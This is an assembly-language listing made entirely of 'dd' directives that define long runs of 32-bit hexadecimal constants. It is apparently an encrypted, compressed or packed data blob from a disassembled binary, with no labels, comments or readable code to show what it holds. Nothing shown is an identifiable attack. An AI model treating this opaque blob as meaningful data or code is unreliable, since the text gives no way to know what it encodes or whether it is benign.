		dd 6850547Ch, 803FB99Eh, 0FE1EB353h, 0EB33C0CBh, 0AB800A07h
		dd 0DCA69FFBh, 1584580Ch, 0C144E909h, 0BD404F5Ch, 7DC50865h
		dd 97522D4Ah, 8BC25693h, 34933656h, 27792ABAh, 9013E30Ch
		dd 24681C77h, 8BEC497Ch, 65C421Ah, 0D03107EDh, 1D79942Ch
		dd 0FAF02805h, 0B85B2248h, 992939B5h, 7A0CC0CEh, 0C7B70697h
		dd 0AFEEF39Fh, 0F45A3238h, 2943DAC4h, 0E24A83A7h, 484ECBC5h
		dd 77FED57h, 4D293B25h,	7A0779D1h, 662EA22Ah, 0CB21AA42h
		dd 2A1C5F09h, 0AF748749h, 84514925h, 12FB3B40h,	0B59E835h
		dd 66876EE9h, 0A2591A8h, 69D9AA51h, 0D8C651C6h,	26CC3014h
		dd 9670DDE9h, 646B04ACh, 28FFA5h, 25A3689Bh, 686F0BFDh
		dd 4530E30Bh, 10CC31EBh, 417D9454h, 0B04701FBh,	0AB3220C5h
		dd 0C1DF92BDh, 0C46FD63Bh, 892CEAA7h, 80A17AE9h, 9C1E2CBFh
		dd 0F8924D94h, 0EA681D81h, 14B41447h, 42DAF702h, 0FD802D40h
		dd 0A62E5D81h, 561677C5h, 3F005492h, 67F40594h,	254F7147h
		dd 0DB58E7C1h, 1B2EF50Bh, 70100FC7h, 7B4DF34Bh,	16E67030h
		dd 764F125h, 0D14028D5h, 0D6080E0h, 30C357DDh, 0A88113D7h
		dd 0E65AD031h, 59D897C2h, 0E205087Bh, 78861E99h, 0ECF5B904h
		dd 85BBF817h, 0C2287F1Ah, 0CA50E2Dh, 0DC446568h, 0C07FFC07h
		dd 23DFC6F4h, 0B6D85F31h, 76206989h, 0FC768C2Fh, 490FC157h
		dd 6B060A5Fh, 9ED552D6h, 0C15B251Bh, 69EF5293h,	111F43F3h
		dd 0F2530ED4h, 581E18Ch, 8A5D3FEBh, 250EF4Bh, 67386208h
		dd 0EED2D226h, 74379A5Eh, 66C30F58h, 0D64DE28h,	572394EEh
		dd 0C490F2E3h, 8DFA828Dh, 683BE5F9h, 3E285ECAh,	0B371FF52h
		dd 65E51EADh, 74A6805h,	3F042BF3h, 0EE6E7E2Dh, 0A0DA0C6h
		dd 41E9CF01h, 0AFBA83A6h, 42FBF77Dh, 8DF8A4DFh,	0A3C17BB9h
		dd 55BA2DF0h, 495B5E9Eh, 0C0FA7E2Bh, 0C057500Bh, 0D40A0116h
		dd 1EDFD0Ah, 83B5FE38h,	62D02D1Ch, 0EDBF6DBDh, 38D12DD3h
		dd 0D5A5E984h, 8F5187B7h, 5912AE2Ch, 0D3D48157h, 0D9A1241Ah
		dd 0E11AA39Fh, 40DFD910h, 0F2AAC8DBh, 0D2A24AEEh, 83F7E633h
		dd 0E3C16CA9h, 75841F05h, 534F4360h, 0E5B193BBh, 0A2803E51h
		dd 3052822Dh, 5D1C7764h, 5F16C757h, 0A3F2D829h,	505F0C5h
		dd 5D84E912h, 295ACA1h,	7F161C74h, 8A0C3D6h, 4A060CC0h
		dd 3168417Bh, 0FFED0E89h, 1F693CD4h, 78552E1Eh,	1EFAD239h
		dd 13FE79AFh, 0BA5CDD4h, 0C490E7BBh, 0EF5C2685h, 2E071071h
		dd 58CFA34Fh, 955D7D56h, 75C95A7Eh, 270FC8E0h, 17E90D3Bh
		dd 15FE8207h, 27DE176h,	3BE2895Bh, 2717F7D0h, 0F0B52012h
		dd 0E7C70804h, 11C2771Dh, 4C8A2ECBh, 881C6394h,	0E90B82C1h
		dd 0BF6CC2ECh, 0DB5FEFF2h, 25A93125h, 0B8E1CC9Fh, 5702E31Fh
		dd 486B90BFh, 0F112DD1Bh, 0D3141E77h, 1611DA0Ch, 0C25D54E9h
		dd 2CEA5F13h, 0DAA8C03Dh, 2158C580h, 0D1BD2527h, 0B02FA2ADh
		dd 0C5A325ECh, 92D22C6h, 42267198h, 0AD0EBB18h,	0B2554F36h
		dd 0CE9A7F06h, 0FDFB50EBh, 25EE9701h, 0DA9DECB2h, 23E92DE5h
		dd 68AD7A81h, 98F33A60h, 101EBA02h, 9B5D3F51h, 5A1A00F5h
		dd 27CAF281h, 0C0956DB7h, 3EDD5147h, 7DFC4A34h,	321B2684h
		dd 0DE03020Ch, 25DE810h, 7ED0298Bh, 9CE188E5h, 97A25B12h
		dd 1CB53EC4h, 0DDF67CC0h, 0CAF3ED80h, 19A7B406h, 0F0E1061Fh
		dd 3CE1E0C7h, 591875A7h, 0DD0CCF28h, 0A1AE55E9h, 9F586120h
		dd 0E909526Dh, 9FB0585Ah, 0FC01DBE4h, 89FB492Ch, 0CC825DEFh
		dd 46AE311Fh, 172410D6h, 0E5E90705h, 0AE07A152h, 0E256EF8h
		dd 9858DEECh, 45A34F0Eh, 8C19D8A4h, 0E79B5E35h,	0B009B0A4h
		dd 0CF022C6h, 88A55918h, 74257B77h, 0E91656ABh,	0C3478C5Ch
		dd 73BD2F7h, 37902D6h, 0E0E9C8B0h, 0B1631668h, 0B88F3ED3h
		dd 0FAA92A49h, 3EEE8AAh, 4F5D15BCh, 2E969CD9h, 0AF82C475h
		dd 0F780019Fh, 0EF25206Ah, 0C2DC0E95h, 5C6B9168h, 661260D2h
		dd 0F8C65938h, 9A0F16F6h, 29015C25h, 9900134Eh,	29442AE6h
		dd 0B701C112h, 60E73068h, 5F02EFAEh, 0E903B252h, 26A75CB5h
		dd 8EE7923h, 9FB95Ch, 0BDAF596Bh, 0C05E61E9h, 0BB1792E3h
		dd 519540D1h, 0E2572EB9h, 0C9811C01h, 7C0C1269h, 571EE48h
		dd 0C14D5C6Eh, 7C8ECE1h, 0D2309038h, 54E621E2h,	0BE1284CDh
		dd 2B82FAA3h, 99E64E5Ah, 0BD5500B4h, 203F44A6h,	0A3C5811Dh
		dd 0E93A4982h, 4EE6D0FDh, 1AE8F821h, 61EDEF05h,	7F65288Ah
		dd 1A7794A6h, 0DC449A03h, 25EA5651h, 0BE627E41h, 49FA7158h
		dd 59E11A5Bh, 742C0FE9h, 9CB3113h, 0FEDC086Fh, 928BA60h
		dd 912ADC7Fh, 87C84ED0h, 24D25A44h, 0DAACB8E8h,	0B570BE43h
		dd 5C166565h, 0D040F289h, 482F1C77h, 73343247h,	0BDC4BE0Dh
		dd 0B040FCE3h, 452B1FF1h, 1713E646h, 18AEA970h,	0B4A279C2h
		dd 0B1D79835h, 3CD03370h, 0DEF13F02h, 7A02ABD8h, 0ED6E2091h
		dd 36028DBCh, 0F809A555h, 51078230h, 4170AF5Bh,	76044598h
		dd 314C726Ch, 11A290BAh
		dd 18608C71h, 0D729523Ch, 5BA2A009h, 0C9990535h, 0AA8938E7h
		dd 2FE9FF2Ch, 0BC5927AFh, 67E26880h, 715952B0h,	8FBCC149h
		dd 6F78C403h, 0A214409h, 0AF1C3F4Ah, 0FE04EED7h, 73E3E39Ch
		dd 3B39CD4Fh, 0C2012F4Eh, 0D5ECC4E9h, 5A5C7414h, 0B3A62DC3h
		dd 0D1F3EAE7h, 0AF57927Bh, 1FADA861h, 7672B800h, 0DE228825h
		dd 9F0449DFh, 10C51013h, 18620CD1h, 0E4F49F35h,	1833658Ch
		dd 288E905Dh, 9D5B1F2Ah, 729F9D96h, 9BBE8E6h, 97E9F754h
		dd 9B900C50h, 61B85000h, 0D4B583Bh, 0AD4F50E4h,	0F96725E9h
		dd 657F8E68h, 0F972A127h, 68578305h, 0F9BF1DA6h, 0F758675Ch
		dd 0E00D1694h, 0CD0E096Ah, 50277BFAh, 99EDB12h,	335B9583h
		dd 0E324A2A6h, 91FDA27h, 72E9555Eh, 3A96DAF8h, 3EF168C1h
		dd 0E933CC7Ah, 18194027h, 8214D975h, 0D9A738D9h, 0FEF1AD6Ch
		dd 9C02F24Ah, 0FE7C9078h, 87608345h, 1C24836Fh,	0E98935B7h
		dd 80A3C05Fh, 7A8A70F4h, 0A89C25E1h, 0AABC72F9h, 609DDA2Fh
		dd 276855C0h, 0E7657087h, 1F16692h, 0E018F13Fh,	4CD677EDh
		dd 3622E99Dh, 3891BC10h, 78B94BBEh, 0AE2CDE12h,	25686E28h
		dd 43C6717Eh, 1821080Bh, 45A98226h, 0E91CD6ACh,	0DA8CB157h
		dd 448C406Fh, 5F2ACC63h, 0D8E7D13Eh, 0DC1A6B0Dh, 8153C573h
		dd 4F1BDF7h, 165DA320h,	0C776C51h, 6B601A94h, 216C2B0Ch
		dd 0A3E91A17h, 5EC632A9h, 20554CF4h, 0E0E7605Dh, 542F5181h
		dd 0BD04FAC5h, 429C4F16h, 0DEE26DE9h, 524B9ECEh, 4F4082ACh
		dd 92FDB34Ah, 98C775B0h, 22314527h, 0BEA524E7h,	0E0D0A469h
		dd 3906C3BDh, 0BAF6B5Ch, 5075E905h, 535D4C2Bh, 2F1B8A06h
		dd 20209C1Dh, 0D988259Bh, 7B917094h, 53157C2h, 7D88AB5Bh
		dd 40175D59h, 0AA055684h, 84786F8Bh, 212D2A84h,	7A0576F1h
		dd 0A4CC8AA9h, 4FC4EE90h, 0ABA58C6h, 22B45713h,	0B090CFh
		dd 26825931h, 6C3EED81h, 45411104h, 8A9414E9h, 79EB9924h
		dd 0B6E67C74h, 248D90D5h, 96B0FE86h, 59DBD121h,	22B80176h
		dd 966B2FF0h, 9E44FECh,	3D39BBA8h, 8BB3B33Bh, 0D2FF7A2Bh
		dd 0D638FFB0h, 173CB20h, 0BA0D8158h, 3E2C7A1Bh,	0F0F979AFh
		dd 405B605Bh, 226D46D3h, 290B0CC2h, 0CFA6E166h,	8001471h
		dd 4F586850h, 0DC7A306Eh, 1E13452Eh, 0E812D9F7h, 2CC86288h
		dd 85415891h, 0A8E57748h, 5DC20D9h, 6FB1F581h, 0ED998191h
		dd 4D90D8A6h, 5DEA2912h, 680150BCh, 89034312h, 58677ED7h
		dd 6802BD44h, 34F57B4Ah, 525B04DFh, 0B03DDE9h, 986E6658h
		dd 0B53B4E5h, 957DC88h,	65ACD4DDh, 0DA718154h, 807A3892h
		dd 46F76853h, 0F0184F70h, 1B8006A0h, 536148B9h,	0D1B88412h
		dd 7A02EDB8h, 0C94FB6DCh, 2D74AC8Dh, 6C490197h,	5324F551h
		dd 0BB42D04Bh, 0AA2E2111h, 1D92A18Ch, 44F9FD52h, 0EC242E14h
		dd 90FCD5A7h, 69D86840h, 0F860FCB4h, 9E508EF1h,	0F08439B2h
		dd 0E711AEE9h, 0A5680AC2h, 0E9851D55h, 4ABF84BAh, 2CE02DBh
		dd 0E8A813D3h, 0B1E9E4C0h, 852FD5B6h, 51C5A7C5h, 8F419AB8h
		dd 335D0801h, 0A8A551B9h, 8C027792h, 0C70E0664h, 5687E0D1h
		dd 79CE5E3Bh, 22C7064h,	749DE913h, 0D2ABDE94h, 1AB85958h
		dd 0E65FFEE9h, 0F3688A30h, 0D7339F4Eh, 541BCD1h, 6EC0A30Bh
		dd 88530EAAh, 0DE6152D3h, 781FE950h, 2AB800B5h,	512E1209h
		dd 243DE8B9h, 1F6C2B95h, 0FD1C8FC1h, 0A9F6F53Dh, 0DDC54FFFh
		dd 80D994AAh, 36730F5Dh, 0EDC13009h, 1DE35E08h,	704084CDh
		dd 7A7FC23Bh, 6652545Eh, 7BE0091h, 0C17DE537h, 54C005E6h
		dd 100E2FC3h, 391EBE45h, 0DD144A05h, 5C0BBEE1h,	0CF4B68F0h
		dd 0A2BC27A9h, 0DA32D9FEh, 1ED85975h, 0CD0A5EC1h, 0D085C53Bh
		dd 0A712A010h, 22AA89E7h, 0D37CEED1h, 2831C781h, 33E6062h
		dd 47D7F732h, 1884181Ch, 20FCBF93h, 0C9DDAA17h,	0C7876FCAh
		dd 73C91124h, 1049CCEDh, 9F0EA2FEh, 5752A073h, 3B0C23BFh
		dd 497F0AC0h, 1860A218h, 6D5A4411h, 0B5225095h,	91809DDAh
		dd 0DA50B483h, 0AF4A97F8h, 0BC5AAEE6h, 57028486h, 0D48EDB6h
		dd 0A27B0816h, 355A2600h, 81F30212h, 9099553Ch,	6F5A12ADh
		dd 0D85BA3CFh, 3481CE1Ch, 12072407h, 0E03A61E8h, 29CABD05h
		dd 48E1ADC6h, 94E909F1h, 0A0F75AD2h, 0B187C2Ch,	0D0316125h
		dd 8EC270FEh, 0BD987F23h, 462FDC07h, 0BB97B35h,	9E6D831h
		dd 8963E92Dh, 0AF4599F8h, 0DADEC82Bh, 0BD807260h, 13CD7784h
		dd 0FE6C317Ch, 302EF248h, 37066698h, 0E425930h,	25ADB665h
		dd 0F4698958h, 2336C808h, 5CE0A7B4h, 4B68E1F7h,	0E9BD30BEh
		dd 0E09A9391h, 0FE5BD803h, 0E17434C8h, 206C0A6Bh, 0ABB2E3CFh
		dd 0DFCC0938h, 4D458BEAh, 54E44900h, 531D67C6h,	0B18123BBh
		dd 0EBA7E941h, 0EBA43128h, 2286DCBh, 0AAB3202Dh, 2D746813h
		dd 0C9C4B2ACh, 9E213504h, 537BEC2Bh, 5460B92Fh,	0D74A9392h
		dd 899F5EB3h, 0BE5F2CABh, 32B2BDB6h, 0F70C1156h, 7C66F99h
		dd 394C1B27h, 0B00DC453h, 0EAB96656h, 5760ED0Ah, 38B80EBEh
		dd 0EFBC9355h, 94834C78h, 132D1A7Ch, 0CFC3388Ah, 0FEF029E1h
		dd 2A9D2660h, 92A3A5D3h, 9740F78Bh, 0CE97539Fh,	81F54E81h
		dd 0F0B4BA4Dh, 5B957A7Ch, 6F300DEh, 0DA312CA1h,	43F282A0h
		dd 56DD1213h, 680987A8h, 62767780h, 8896FC5Ah, 0F32FF644h
		dd 0F07F126Ch, 0CC849A0h, 8159008Fh, 558D6F3h, 3DB4048h
		dd 0FAE1428h, 7EF0C2E9h, 0DA9251B4h, 0EA2E1955h, 297AD3D5h
		dd 0B4616BDDh, 87967E0Ch, 0B23D8297h, 0E4D08A41h, 9899AA05h
		dd 15211964h, 0A4200471h, 0B805B753h, 5C0C403Bh, 0AFE549B5h
		dd 1CF07DADh, 4E058690h, 2125E268h, 0B081C1C3h,	59935AD6h
		dd 9910F243h, 34BF0275h, 60227E1Ch, 123EEFE9h, 0BFDF7817h
		dd 51E40113h, 7E91751h,	0D7E6AC90h, 0A26E8289h,	7C5D241Ch
		dd 1136897h, 0A74E29B6h, 21322798h, 0FEF570F0h,	456B2DD1h
		dd 0C7F80143h, 9CD62B44h, 7C03F97Bh, 0C954A074h, 5485A18h
		dd 5C809905h, 3DB4A121h, 7D4FD22Ch, 0EE7041D7h,	558C50C1h
		dd 227A7B33h, 99D66A4Eh, 87F1952Fh, 5C67C052h, 31A983F4h
		dd 9D493A70h, 295FA5EFh, 1A1EFDF4h, 1238E72Ah, 809B0C2h
		dd 0B68400F5h, 2E01933Bh, 3D24EE87h, 12BC9064h,	27C35989h
		dd 32C9B963h, 28A46A01h, 429172Ch, 4022FD26h, 0B254E908h
		dd 0CE1B87D7h, 0D908D9F7h, 396CFAC7h, 0D286882h, 0D12433CCh
		dd 0A5C0C251h, 0CB2E7E03h, 0B61A0298h, 0CF40856Eh, 0E0EC833Ch
		dd 6F3281F2h, 0E070C820h, 82F32DC1h, 675A0277h,	3B11547Dh
		dd 10BE4A8Eh, 2E3F02D7h, 42E309E8h, 0A011C75h, 0FD890820h
		dd 0BDA4A3E9h, 443A3CF9h, 2871124h, 3B152A52h, 0C08FC3E1h
		dd 0C10A2DA1h, 924508E5h, 267B70Eh, 6A9BE948h, 464EDDC2h
		dd 2200A15Eh, 0CD8083B5h, 76EDE697h, 0CEC52709h, 0D09709D0h
		dd 0ED8390D8h, 25E9F1D0h, 8EF113BBh, 743A7B82h,	6C566105h
		dd 0CFE20ECAh, 85D7331Eh, 35AA8799h, 5BC5B94Ch,	79E94142h
		dd 4715D6DFh, 7549EF51h, 6DBB7BA0h, 724A3F65h, 9204D5EDh
		dd 0FB8DC09Ah, 5316D985h, 0E9094EFDh, 0CA47CAA5h, 0E2AC7E2Dh
		dd 80016ED1h, 697CEEBh,	13C7A868h, 20AEA185h, 4DEEC5DDh
		dd 0C397FA2Dh, 50602BAh, 409C0969h, 5E3C44DDh, 0B3891643h
		dd 0AB0BD34Fh, 0AC6A714Ah, 6551AFD7h, 9D0CE904h, 40855FFFh
		dd 0DC547C0Dh, 9090515h, 77E3AB42h, 0F583A502h,	6D66C307h
		dd 2F67B7C9h, 0EAFDE985h
		dd 849B27BBh, 0A7B59760h, 4DF530h, 43D0C720h, 76907B7Fh
		dd 8809C90h, 945AF1E9h,	0DE05ABCDh, 0BBBB74BAh,	90EE2C64h
		dd 56BF57D5h, 0CF367724h, 0E8A0208h, 0ECE4F201h, 758E9782h
		dd 91E28D1Dh, 55175D59h, 0CE42215Ah, 36A805E4h,	472F7A89h
		dd 8D6DE8C4h, 85E0F5F2h, 0E396811h, 8A9EA1E9h, 63C72F08h
		dd 0EFC0DCBDh, 0B83A5031h, 4F173BFEh, 0BC4025E1h, 2672189Eh
		dd 5674369h, 0C033510Bh, 0A235F3C8h, 5016402Dh,	8011027Bh
		dd 0B225E91Ah, 94E8B1A4h, 0F52BAF6Bh, 1C46BB6Ah, 2B85FF1Eh
		dd 81D6B450h, 3B80655h,	789FB252h, 63D19551h, 172C133Dh
		dd 0E669F821h, 4E7FEE36h, 50E10947h, 0DBEAD882h, 0FA15E30Bh
		dd 790050D0h, 76201768h, 7E21011Eh, 0D460A93Bh,	0FA06277Fh
		dd 2508E93Ch, 4C11292Bh, 9C5394AAh, 0F017510Fh,	6EA3BB80h
		dd 9B1BCF7h, 61FF300h, 352371Dh, 0E5490DBAh, 0C1894A28h
		dd 262D60E2h, 43B7C41h,	0BAD58BB1h, 0C71C58CAh,	1EA90382h
		dd 0CA10DF01h, 0FE079A99h, 40D2F6CAh, 0CDF280C2h, 4F12EAE6h
		dd 30CDD388h, 0D7B1AB02h, 1CC9BBE6h, 0FB4387B2h, 6635159h
		dd 3D66C331h, 0BA68561Ch, 95E3B4A7h, 9677E729h,	69662061h
		dd 190CC81h, 0D76FEE81h, 7BF9B7DDh, 934987CCh, 629D4AB7h
		dd 7487F288h, 5BFE0338h, 395CB353h, 0E3833BD6h,	5EBC011h
		dd 17880C48h, 1FC9CB35h, 0A9D738E0h, 0BB41EFFDh, 845308C9h
		dd 78E7FAE3h, 685D09B5h, 0B2570EC0h, 6DE58057h,	0B81F442Ah
		dd 6ACD3871h, 0C4E9100Eh, 7EEFB4D6h, 4D54200Fh,	0EEDF8540h
		dd 0F128FFF7h, 2C11D93h, 0E912A268h, 0DE34EF24h, 5952CCAAh
		dd 29906818h, 827DF429h, 596EB5Eh, 0A9098DA8h, 80F4CE8Ah
		dd 1344A739h, 0CA52FA84h, 1367C25h, 7B4F1171h, 320FE805h
		dd 0AB812E5Bh, 0E2B6549h, 0C2BAB0BAh, 6815A260h, 10B8CE5Ch
		dd 58580A3Eh, 197833Eh,	0BB37154Dh, 0A81A4548h,	4E77686Bh
		dd 3B1AB0FFh, 573063ABh, 0CC0E7460h, 8EE92B4Ah,	0A0300841h
		dd 0BB9A4075h, 0DC08B005h, 738729D8h, 8CBC7FD5h, 4B90CA4Ah
		dd 0E4BB7922h, 79D7209Eh, 48F75D5Ah, 889E2F7Eh,	0A439B047h
		dd 21232E0h, 0CDE7CBCh,	0CB339C7Dh, 75D9601h, 6E3C17Ah
		dd 1784ED20h, 0FC85D76Fh, 68500BEBh, 0AFD3C702h, 0A29590D0h
		dd 0DDF9F6C3h, 0BD231866h, 6AF9424Bh, 3264AD07h, 0F70543D2h
		dd 2B00D229h, 2FB3F2FDh, 0C90E5167h, 6B552B4Fh,	47DEF008h
		dd 0E93F123Bh, 0D0B7E007h, 22B7E548h, 58C116A2h, 6413F849h
		dd 19800706h, 16F41AD0h, 8530E92Eh, 797AB647h, 0A72DBBA4h
		dd 73E8F46Ah, 0B0CFE5F1h, 6BB41667h, 0A8B14A51h, 97E47A79h
		dd 378187CCh, 0C01FF264h, 0DC7A8C0Fh, 0D2830146h, 0B80AA82Ch
		dd 63901720h, 30FD3F54h, 8A10E562h, 9E8B0B9Dh, 0CEDFF34Ah
		dd 87CCBF2Dh, 0DD9BE912h, 7E950161h, 59DFEE10h,	0C7D9830h
		dd 2E8E1EE2h, 0D2B95F6Bh, 89B92F61h, 0E65AD183h, 7396B76Fh
		dd 4902EBA1h, 384A150h,	2CAE5893h, 6B401D84h, 1EE607BEh
		dd 508164EBh, 7C167DC9h, 186450B7h, 0C5DF00Bh, 0CC2F6C60h
		dd 0CA6D82Ah, 105D8F7h,	0BB7B354Dh, 89133A0Bh, 0D07B0FC5h
		dd 1FF4B2Ch, 0A0E72126h, 99126B31h, 9BAD0A0h, 5BBC178Bh
		dd 0D51146C0h, 9F6A7582h, 0E90BFBC5h, 48D3E1D9h, 1DFBA43Ah
		dd 0E159292Dh, 0B8304128h, 0BC5205A4h, 0C2DFF725h, 210978DDh
		dd 421928C6h, 61EF8130h, 0C1E90D26h, 0EA5D2A76h, 0F2EDDD0Fh
		dd 5689CD5Ah, 0B440EBE7h, 5F8270BCh, 519F95C6h,	0C0836324h
		dd 8121FFFCh, 8604EEA4h, 74207E07h, 0E65E5FE0h,	250C222Bh
		dd 17FEAD49h, 20484C69h, 892EB26Ah, 410B64F5h, 4E89C67Eh
		dd 0A47FA252h, 0FBC4C8FFh, 8B3D634Eh, 5302303Bh, 80BF67E9h
		dd 5FEDBD6Ch, 0C93C4EBAh, 19BFDC27h, 1270253Dh,	9F9F3CDh
		dd 0A039ABD7h, 9233A22Ah, 0F6F4B03h, 0CAC09F0Ch, 4A092F62h
		dd 95FDD15Ch, 8180CDD0h, 0D4745734h, 0CC5E96Dh,	2D9F5538h
		dd 8807031Ah, 5AD7D1F2h, 271E785Eh, 0A7E7F605h,	0D20C058h
		dd 0C48019A5h, 0ECF0065Dh, 10B2CEC6h, 696291ECh, 57C5C223h
		dd 47537107h, 5506BC3h,	6CA2DB26h, 25AB7E69h, 0E941B4F9h
		dd 0FE0211A3h, 80301340h, 1B93EB58h, 0E241A843h, 591AFE02h
		dd 90D86F56h, 57879D86h, 82B36F4Eh, 4D605980h, 0D582E6C1h
		dd 0E912581Ch, 49446CE1h, 80A802EBh, 7E5A0380h,	1720E950h
		dd 495C5E76h, 0F7F6AE63h, 2C7C4F25h, 5DD01A97h,	2B948077h
		dd 0B816C048h, 92AB2076h, 0F5CA293Bh, 680EA762h, 2B49C19Dh
		dd 0BD0D14E8h, 8322E9C7h, 200BE92Ch, 0EB2CB78Eh, 7B7B90CBh
		dd 0BE838167h, 218E9794h, 41B04653h, 731F12C3h,	4DAE87Eh
		dd 715D6785h, 6C5C3C01h, 72406BF3h, 14B00BC6h, 3BC2B5B8h
		dd 0E9044676h, 16FDBCBBh, 121AF94Bh, 0BF656740h, 7DAB6E13h
		dd 1B652099h, 0D5BC4A4Fh, 0D82AE9C2h, 5E977FCh,	95A04769h
		dd 0BC2926CCh, 2D9816B4h, 0E90FD2B0h, 1B586Ch, 2E3A355Ah
		dd 0C62D5D16h, 0D90CA413h, 0E91020EEh, 5195C276h, 0B9AA831h
		dd 79E170DBh, 2605B00h,	0C1760D3Eh, 0E1D1063Ch,	31353216h
		dd 5D6855FEh, 7F2CF5E3h, 0E108FD0Bh, 0F40F388Ch, 16D3885Ah
		dd 66434710h, 922857BAh, 307FEB47h, 3CBB530Eh, 70A80878h
		dd 0F78C099Dh, 0FF848F76h, 81AFEC7Eh, 78EAB951h, 0CDE50DF9h
		dd 5325FB69h, 0C3BA1DE0h, 6FA76416h, 724BCF2h, 2585100Dh
		dd 5574B228h, 0B551C840h, 0E580170Eh, 46ED67A4h, 33E9E801h
		dd 0FE1F5668h, 0D737F9CCh, 14BAC20Ah, 5A492075h, 0A06D872Ch
		dd 410A184h, 3BE96641h,	0B1B7E8C9h, 842E555Bh, 6227E15Ch
		dd 0F2A3932Ah, 0E9F32906h, 0BB0CDB99h, 3E0611D3h, 3E9A41ADh
		dd 5F2E34E6h, 0A4555A14h, 23443CB5h, 24014ECh, 78657E75h
		dd 24CC7C59h, 3D6100BCh, 0D5217F15h, 97EDE4B8h,	4BBA055Eh
		dd 29DD2DDAh, 183C83E7h, 1CC72A91h, 36E3CCEh, 40DC0FA8h
		dd 90092D8Ah, 48637F57h, 80F0ACACh, 6626F830h, 620B365Bh
		dd 4FB9A90h, 0A5CCB190h, 59CB0E28h, 1270B868h, 0EFC225E9h
		dd 4B696CB9h, 528FB78Ah, 0EFBC4B8Eh, 14656984h,	470709F2h
		dd 0F6078774h, 3E342A77h, 19049CC5h, 72EACB77h,	1C7D586Ah
		dd 56530634h, 180FD4E9h, 290BBDh, 705EC738h, 0EE7E7A7Ch
		dd 231A0BCFh, 0D90416C3h, 0F010BC6h, 0BAF8044Ah, 0C727BBB9h
		dd 2340E9CAh, 5418F9E7h, 0C51A4E79h, 74142C45h,	0E3E98C62h
		dd 52093549h, 0FD2EA607h, 64F5C122h, 53608E71h,	16626850h
		dd 75B9D76h, 8589A2F0h,	248BDA4h, 0AF5CB9EEh, 0E988E036h
		dd 0BC80BD3Dh, 625870BFh, 9B4B7C7Ah, 595B0D00h,	50885253h
		dd 41D6E4C6h, 6B03AABh,	3CD5C2Fh, 0DD2558CFh, 0DA8EAC8Eh
		dd 0A2BEF506h, 23E7A129h, 69261E2Ch, 5BD56858h,	0C218F84Ch
		dd 777901E9h, 0BB49D666h, 0F9211B2Bh, 1A4DD14Fh, 0A2EB7581h
		dd 7E230B71h, 882E13C1h, 3A845657h, 0B2527791h,	0EEA0830h
		dd 57B3537Bh, 0AED8CBC5h, 0ABA87309h, 90E24677h, 818440D9h
		dd 6B85E50Ah, 0C500EE0Eh, 0D5D6054h, 0E2E95E01h, 69D809BAh
		dd 7B87663h, 7CCD4EAEh,	3702670Ch, 8FE90266h, 80804EFAh
		dd 277E01DCh, 0F474357Ch, 64706F09h, 54BD0295h,	2D5871CCh
		dd 0FAE90682h, 6812E2D8h, 80B209A5h, 0ACD918DEh, 4218CAEEh
		dd 0B65F71A8h, 3DE6BF67h, 4664CD25h, 24F79058h,	1EBE1FBEh
		dd 0F5AC0D3h, 0E468C0B7h
		dd 0DE25A3B4h, 8008720Bh, 7F1462FEh, 838C48F9h,	0AAF01B03h
		dd 738B80E6h, 90486F34h, 1B8B0297h, 0D7F73891h,	42770EE2h
		dd 4F3336A6h, 0EF4F13D9h, 7DE9683Ch, 0B148D64Fh, 1CF67ABFh
		dd 1335F74Eh, 3721D25Ch, 96046332h, 0B9382972h,	93815B68h
		dd 0DA56CF1h, 0C6BF8050h, 0B4EBF2FDh, 0A4968848h, 7AC26802h
		dd 0EE18E8D9h, 770980AFh, 0C18F1C4Fh, 0ECE9A961h, 9C2EA662h
		dd 0CC421B6Dh, 0BFA7A02Dh, 5CB75723h, 27353966h, 3C4EB0Dh
		dd 0B18512EFh, 70E22AE7h, 3C7D5C8Bh, 915BBD3Bh,	7949D289h
		dd 0F9DD8801h, 7004B712h, 21AFE769h, 295166B1h,	997E847Ch
		dd 0F4024109h, 0ACD67461h, 950FF0C8h, 155C25Bh,	29ACC2D1h
		dd 70845508h, 0ECF09430h, 0F6D7DEA0h, 4CB94E40h, 12060A5Bh
		dd 350FCA68h, 4BC9AA59h, 90A1F23Eh, 0E34912CBh,	0C1344D20h
		dd 4B327B77h, 0DEEDD060h, 8C0D3F7h, 550BE681h, 0A1C5829h
		dd 8826CB20h, 94E4FFAh,	687EB0D8h, 0B90A4BF9h, 0B3E984EAh
		dd 0B85C9AF0h, 0A238270Fh, 681591E6h, 85B62DAAh, 75FA0DB1h
		dd 0AD9285D1h, 8292DE42h, 688240B9h, 40A54BE1h,	0ED550C54h
		dd 0C90B8185h, 2F814A1h, 4D5D96Ch, 4F649133h, 0C5F31365h
		dd 0FA4C14E3h, 68F6B224h, 5CBF8839h, 755E066Fh,	7CFD2F9Fh
		dd 0DA366598h, 7542F782h, 29931255h, 7AB4FDDFh,	9F215C4Ah
		dd 0CA3A9E59h, 0F94074ECh, 58681266h, 1290A215h, 8DE26141h
		dd 16A8DF5Bh, 914311E9h, 1001CE68h, 25B342C9h, 514E1954h
		dd 1DF8B3Eh, 4CB61BA3h,	0B7AD3E9h, 0BAD65FBDh, 4C5EF2C2h
		dd 5268156Ah, 2F9CA164h, 9BD0C71Ah, 0E00EFD4Ch,	3A2047C7h
		dd 6D0646D6h, 0BFDE64E9h, 1D05577Ch, 0E0C15805h, 0EE32920Ah
		dd 0AF85E5A7h, 0A2FD2E4h, 0AD6FF905h, 77B188D4h, 8D3CBDE9h
		dd 835B6627h, 210F042h,	5C68BEE9h, 34B8B5Dh, 7A917FC0h
		dd 30765EDCh, 1ABB5330h, 79C86A1Fh, 697BF300h, 63D1289Fh
		dd 785C10EBh, 0C0561B3h, 7C349C3Ah, 171FD080h, 29681A44h
		dd 80950DDh, 4B070AF8h,	0D149D911h, 8BF205DBh, 6534BDB4h
		dd 0BC290CC7h, 87E94A41h, 1280645Eh, 84B9A2D3h,	0A0146018h
		dd 1288FD10h, 2B014E59h, 0F0570DB8h, 98CE847Eh,	0E972548Ah
		dd 8BA8BF4Bh, 0D1EEB92h, 36C2A4D2h, 59982B5h, 8BC5FD91h
		dd 0D047EA14h, 5FD21B46h, 43EBB52Fh, 4F295B4Eh,	93401E7Eh
		dd 573DDE66h, 0AD87C251h, 4A35B980h, 2962745Ch,	627A8Bh
		dd 8A3B450h, 16D0E348h,	6EE49419h, 2BF0757h, 0D20AAB36h
		dd 0F04C8BAEh, 288F8BEFh, 0A18B5DF8h, 4C3EF76h,	0E3D8F271h
		dd 0E90B16CBh, 16ECF912h, 748F14C6h, 0C9A7F25Fh, 0B85460ABh
		dd 2D15C030h, 763D6AEEh, 469FDA90h, 0F92976Ch, 0C3407662h
